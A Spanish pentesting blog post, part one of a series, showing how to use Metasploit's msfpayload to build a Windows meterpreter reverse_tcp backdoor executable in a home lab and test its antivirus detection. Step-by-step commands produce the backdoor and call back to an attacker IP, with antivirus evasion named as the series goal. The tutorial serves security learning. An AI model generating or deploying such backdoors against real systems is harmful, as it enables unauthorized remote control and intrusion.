Metasploit: de ENCODING y PAYLOAD va la cosa (I)



















Con un titulo tan abierto con el que acabo de bautizar este "post", voy a celebrar el haber alcanzado los 700 seguidores en twitter (muchas gracias a todos por leer este blog y por estar ahĆ­), y que mejor que hacerlo escribiendo un poco sobre #Metasploit Framework y #Pentesting.

En el artĆ­culo de hoy, ademĆ”s de jugar con los comandos msfpayload, msfencode y msfvenom del framework de #Metasploit, voy a presentar una nueva secciĆ³n del Blog: #ST2Labs (El laboratorio de Seguridad para Todos).


INDICE:  Parte 1 | Parte 2 | Parte 3                                                                                                                                                              


¿QuĆ© son y para que sirven?

Para saber quĆ© son estos comandos y para que sirven que mejor que hacerlo con ejemplos ¿no creĆ©is? , pero antes voy a poner una pequeƱa descripciĆ³n de cada uno de ellos:

msfpayload
Es un comando que permite convertir cualquier PAYLOAD en un elemento independiente y con autonomĆ­a propia, por ejemplo un ejecutable EXE (windows), un ejecutable de Linux, o quizĆ”s un fragmento de cĆ³digo en una librerĆ­a dinĆ”mica (DLL), etc.

msfpayload help
msfencode:
Aplica tĆ©cnicas de evasiĆ³n de IDS/IPS y Antivirus a un PAYLOAD en bruto (raw) para generar un elemento independiente y autĆ³nomo, como por ejemplo: ejecutable (EXE), JAVA, DLL, vba, ASP, etc.

Este comando aumenta el nĆŗmero y tipo de archivos que genera, incluso permite crear un ejecutable EXE utilizando como "template" (plantilla) otro; Ejemplo utilizar calc.exe para generar una versiĆ³n con un backdoors del tipo meterpreter.

msfencode help
msfvenom
Es la uniĆ³n de msfpayload y msfencode en un solo comando, mayor velocidad y simplicidad a la hora de generar los PAYLOAD y aplicarle tĆ©cnicas de evasiĆ³n. 

Pero tiene algunas limitaciones, por ejemplo, no tiene la capacidad de aplicar varias tĆ©cnicas de evasiĆ³n sobre el mismo PAYLOAD, como veremos mĆ”s adelante en nuestros ejemplos.

msfvenom help
Ejemplos de USO

En nuestro laboratorio de pruebas (ST2Labs) contamos con dos mƔquinas virtuales, la primera de ellas tiene instalado Kali Linux con #Metasploit y la segunda cuenta con un Windows XP SP3, que servirƔ posteriormente para poner a prueba los PAYLOADs generados.

ST2Labs - Entorno de trabajo.
Una vez preparado el entorno de trabajo, se esta en condiciones de empezar con los ejemplos. Empezaremos desde mĆ”s sencillo e iremos aumentando la complejidad progresivamente. Utilizaremos Virtustotal para poner a prueba las tĆ©cnicas de evasiĆ³n utilizadas.

Ejemplo 1:

CreaciĆ³n de un backdoor del tipo meterpreter, sin encoding (ofuscaciĆ³n del cĆ³digo), y que este preparado para generar una conexiĆ³n con origen en la victima y destino el atacante, tambiĆ©n conocido como reverse_tcp.

>> Paso 1: ElecciĆ³n del PAYLOAD, listar los PAYLOAD disponibles.

root@ST2Labs > msfpayload -l

msfpayload -l [Listar los PAYLOAD disponibles]
Como se puede observar en la imagen superior, se tienen a nuestra disposiciĆ³n unos 256 payload diferentes, ordenados segĆŗn el sistema operativo. Incluso existen PAYLOAD especĆ­ficos para Windows x64. 

Puesto que nuestro equipo de laboratorio es un Windows XP SP3 x86 (32bits), nos centraremos en dichos payload, por lo que se puede utilizar el comando grep para filtrar los resultados y mostrar solamente los que contengan la palabra windows.

root@ST2Labs > msfpayload -l | grep windows | grep reverse

Con el comando anterior listamos los PAYLOAD que contienen la palabra windows y reverse, que nos interesa para crear nuestro PAYLOAD con conexiĆ³n inversa.

>> Paso 2: Una vez elegido el PAYLOAD (windows/patchupmeterpreter/reverse_tcp), vamos a ver las opciones (variables) de configuraciĆ³n que se necesitan, para ello se aƱade la letra O al final:

root@ST2Labs > msfpayload windows/patchupmeterpreter/reverse_tcp O 

msfpayload [Opciones del PAYLOAD escogido]
>> Paso 3: ConfiguraciĆ³n de las variables / parĆ”metros del PAYLOAD seleccionado, se cambiarĆ” el metodo de EXITFUNC a seh, y se introducirĆ” la IP del atacante (KALI linux) 192.168.2.105, tal que asĆ­:

root@ST2Labs > msfpayload windows/patchupmeterpreter/reverse_tcp EXITFUNC=seh LHOST=192.168.2.105 O

>> Paso 4: Una vez comprobado que se han configurado bien los parƔmetros, cambiamos la letra O, por el tipo de archivo / programa que deseamos generar, en este caso un ejecutable EXE, por lo que utilizamos la letra X.

root@ST2Labs > msfpayload windows/patchupmeterpreter/reverse_tcp EXITFUNC=seh LHOST=192.168.2.105 X > backdoor1.exe

msfpayload [GeneraciĆ³n de un ejecutable EXE]
>> Paso 5: Comprobar la detecciĆ³n de los Antivirus

Ahora se puede comprobar que sin utilizar ningĆŗn tipo de ENCODING o tĆ©cnica de ofuscaciĆ³n del cĆ³digo generado, el Antivirus puede detectarlo sin problema alguno, para ello voy a subir a virtustotal el EXE (backdoor1.exe) y comprobarlo.

VirusTotal - comprobaciĆ³n del archivo backdoor1.exe

Coincide con una firma ya subida con anterioridad a la web de virustotal, y se puede ver que efectivamente es detectado por la mayorĆ­a de los motores de antivirus ! Es necesario por tanto introducir tĆ©cnicas de encoding ¡

¿Tendremos Ć©xito evadiendo el sistema antivirus? O por el contrario todo los fabricantes de antivirus se han puesto las pilas y han incluido todas las firmas que se pueden generar con el framework #Metasploit

Esto lo veremos en el siguiente artĆ­culo.

>ST2Labs
#Pentesting #Rulez

1 comentario: